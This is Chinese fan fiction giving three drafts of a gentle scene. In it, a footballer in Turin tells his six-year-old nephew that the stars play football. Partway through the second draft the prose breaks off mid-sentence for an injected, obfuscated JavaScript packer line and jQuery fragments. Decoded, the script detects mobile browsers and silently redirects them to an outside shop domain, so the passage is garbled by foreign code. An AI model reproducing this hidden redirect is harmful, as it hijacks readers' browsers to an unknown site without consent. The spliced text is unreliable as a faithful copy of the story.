第1版 2001年都灵的夏夜凉得像刚从冰桶里捞出来的鲜橙汽水，尤文图斯训练基地后院的草坪软乎乎的，菲利斯直接把训练用的大软垫拖到了草地上，金发被晚风吹得翘起来几缕，像撒了几把碎阳光。他刚冲完澡，身上还带着淡淡的柑橘沐浴露味，往软垫上一瘫，伸手就把刚踮着脚够他球衣下摆的小团子捞进了怀里。
6岁的诺瓦整个人陷进他暖烘烘的怀抱里，软乎乎的小手攥着半块没吃完的柠檬甜点，金发软毛蹭得他下巴发痒，一双和阿德里亚诺如出一辙的蓝眼睛亮得像浸了星子，仰着小脸盯着铺天盖地的星空看了半天，忽然戳了戳他的胳膊：“二舅二舅，天上的星星会不会也踢足球呀？”
菲利斯的绿眼睛弯成了下挑的小狗眼，故意压低声音凑到他耳边：“那肯定踢啊，你看最亮的那几颗，肯定是昨天刚踢完全场的主力，正挂在天上喘口气呢。”
他伸手指向银河最密的那片：“你瞧那条银闪闪的带子，就是他们刚踢完洒出来的运动饮料，不然怎么会亮得晃眼睛？”
诺瓦眼睛一下子瞪圆了，小脑袋晃得像拨浪鼓：“不对不对！他们的足球肯定是月亮做的！圆滚滚的还会发光，踢一脚能飞好远好远！”
“哇，你这个想法比我还厉害。”菲利斯拍了下大腿，笑得金发都跟着抖，“那他们肯定不敢让你大舅去传球，你大舅那弧线球一脚出去，能直接把月亮足球踢进另一个星系，半个月都捡不回来。”
诺瓦被他逗得咯咯直笑，嘴里的甜点渣都掉在了菲利斯的球衣上，他抹了抹嘴又冒出新问题：“那星星们输了比赛会不会哭呀？”
“才不会呢，”菲利斯揉了把他软乎乎的金发，指尖蹭过他像小琉璃似的蓝眼睛，“输了的话他们就偷偷躲进云后面，攒好一肚子的光，第二天亮得比谁都凶，下次直接把对手踢得找不着球门。
他指尖点了点天边最暗的那颗小星：“你看那颗躲在云边的，肯定上周刚输了球，正憋着劲练冲刺呢，等下说不定你眨个眼，它就嗖的一下从这头冲到那头，比二舅的招牌过人还快。”
诺瓦听得眼睛都不眨，小手指着自己的鼻尖：“那我以后能不能也上天上去和他们踢球呀？”
“当然能啊，”菲利斯把他往怀里又紧了紧，晚风裹着远处球场的青草香吹过来，他的声音轻得像落在草叶上的露水，“等我的小诺瓦以后踢得比所有人都快，比所有人都好，就一脚把足球踢到星星堆里去，他们肯定会抢着和你组队，到时候你就是全宇宙最厉害的小中锋。”
诺瓦听得心花怒放，小手圈住他的脖子，在他脸颊上“吧唧”亲了一口，把沾着甜点甜味的脸埋在他颈窝，小声嘟囔：“那我要和二舅、大舅一起去，我们三个组队，肯定能赢所有星星队。”
菲利斯的动作顿了半秒，低头看着怀里软成小团子的小孩，绿眼睛里盛着满溢的星光，他轻轻“嗯”了一声，指尖顺着他柔软的金发往下滑，声音轻得像说给自己听：“好啊，我们三个一起去，谁都不许掉队。”
远处都灵城的灯光星星点点亮起来，叔侄俩就这么瘫在软垫上，你一句我一句地掰扯：星星的替补席是不是藏在流星后面，裁判会不会是躲在云里的老月亮，踢输了的队伍会不会被罚去扫银河……直到诺瓦的小脑袋一点一点困得抬不起来，攥着他球衣的小手还不肯松开，嘴里迷迷糊糊地念叨着要把金球奖抱到天上去当足球。
菲利斯把他轻轻抱起来往屋里走，小团子的金发贴在他胸口，像一小团暖融融的阳光，他低头蹭了蹭小孩的发顶，绿眼睛里的笑意软得化不开——那时候他还不知道，七年后的世界杯赛场会有铺天盖地的恶意朝他涌来，更不知道怀里这个软乎乎的小团子，将来会把他们没走完的路，一步一步重新走出满世界的光。
第2版 2001年夏，都灵的夜很静。
菲利斯从训练场拖回一块软垫，铺在屋后的草坪上。金发被晚风掀动几缕，像落在肩头的碎光。他刚冲过澡，身上还留着柑橘沐浴露的淡味，弯腰把跟在脚边的小诺瓦抱上来，让他挨着自己的腿坐下。
六岁的小孩是个圆滚滚的小团子，蓝眼睛亮得通透，指尖沾着没擦净的甜点奶油，仰脸望了很久的星空，轻轻碰了碰他的手腕。
“二舅，星星也踢球吗？”
菲利斯“嗯”了一声，抬手指向银河：“那条亮带，是他们踢完球洒的水。”
诺瓦抿抿嘴，小声反驳：“不对，他们的球是月亮做的，圆的，会发光。”
“有道理。”他点头，指尖轻轻拂过小孩软绒绒的发顶，“那他们不敢让你大舅传球，一脚弧线出去，月亮球能飞到另一个星系，半个月都捡不回来。”
小孩没大笑，只是弯起眼睛笑，奶油渣沾在了下巴上。过了会儿又轻声问：“星星输了球，会不会难过？”
“不会。”菲利斯把搭在臂弯的训练服披在他肩上，夜里露重，别冻着，“输了的就躲去云后面，攒一夜的光，第二天亮得比谁都凶，下次直接把对手的球门踢空。”
他指尖点向天边最暗的那点星光：“你看那颗，上周刚输，现在正练冲刺。等你一眨眼，它就能从球场这头冲到禁区，比我的启动过人还快。”
诺瓦听得入神，小身子往他身边靠了靠，声音软得像风里的草絮：“我以后能上去和他们踢吗？”
菲利斯沉默了几秒。远处训练场的路灯晕开一团暖光，风扫过草叶，没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923481|213497||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多余的声响。他掌心轻轻覆在小孩的金发上，力道很轻，像怕惊飞落在发顶的星子。
“等你跑得比所有人都快，踢得比所有人都好，就把球一脚踢进星星堆里。他们会抢着要你。”
诺瓦没再说话，安安静静挨着他的腿，呼吸慢慢变轻，困意漫上来。
整片草坪都浸在星光里，没有多余的对话，没有夸张的情绪，只有两个人的影子被星光拉得很长，叠在软乎乎的草叶上。
那一刻谁都没提后来的赛场，没提远得看不见的终点，只有风很轻，星子很亮，六岁小孩温热的呼吸，轻轻喷在他的膝盖上。
第3版 2001年都灵的夏夜，训练场边的灯只开了半盏。
菲利斯刚做完加练的最后一组冲刺，汗顺着金发往下淌，他没立刻往更衣室走，熟门熟路绕到后院，一眼就看见小诺瓦蹲在草坪上，正用小胖手扒拉草叶数蚂蚁。
小孩听见脚步声，头也没抬，先往他的方向递出了攥在手里的半块柠檬糖——他知道二舅训练完嘴里发苦，口袋里永远缺一块甜的。
菲利斯走过去蹲下来，没说话，伸手把糖接过来剥了糖纸塞进嘴里，顺势把挂在臂弯里的儿童款迷你足球放在他脚边。诺瓦眼睛亮了亮，也没说谢谢，踮着脚就往他后背上爬，要他驮着自己往草坪最软的那片走。
他稳稳把小孩驮在背上，金发蹭着小孩软乎乎的脸颊，一步一步走得很慢。诺瓦趴在他肩头，指尖忽然往天上指了指——那是上周他们一起躺在软垫上，约定过要一起踢去星星堆里的那颗最亮的星。
菲利斯没回头，只是轻轻“嗯”了一声，脚下拐了个弯，径直走到了那天他们躺过的软垫位置。他把诺瓦从背上放下来，小孩自然地往他身边一靠，小脑袋枕着他的胳膊，像无数次做过的那样。
远处的队友在训练场喊他回去收装备，他抬手握拳比了个“等会儿”的手势，没出声解释。诺瓦从兜里摸出自己画的蜡笔画，画面上三个金发蓝眼绿眼的小人，正围着一个圆滚滚的月亮踢球，他把画往菲利斯手心一塞，不用说话，对方就知道这是给自己的。
菲利斯把画折得整整齐齐，塞进了训练服内侧的口袋，那里永远放着他最珍视的东西。
他侧过脸，和身边的小孩对视了一眼——诺瓦的蓝眼睛亮得通透，他的绿眼睛盛着星光，两个人谁都没开口，却都清清楚楚接收到了对方没说出口的那句：以后我们要一起踢好多好多球，踢到星星上去。
风卷着草叶擦过他们的脚踝，远处的晚钟轻轻敲了两下，叔侄俩就这么安安静静躺着，谁都没再多说一个字，却比任何时候都清楚，这份不用开口的默契，会比脚下的草坪更稳，比头顶的星空更久。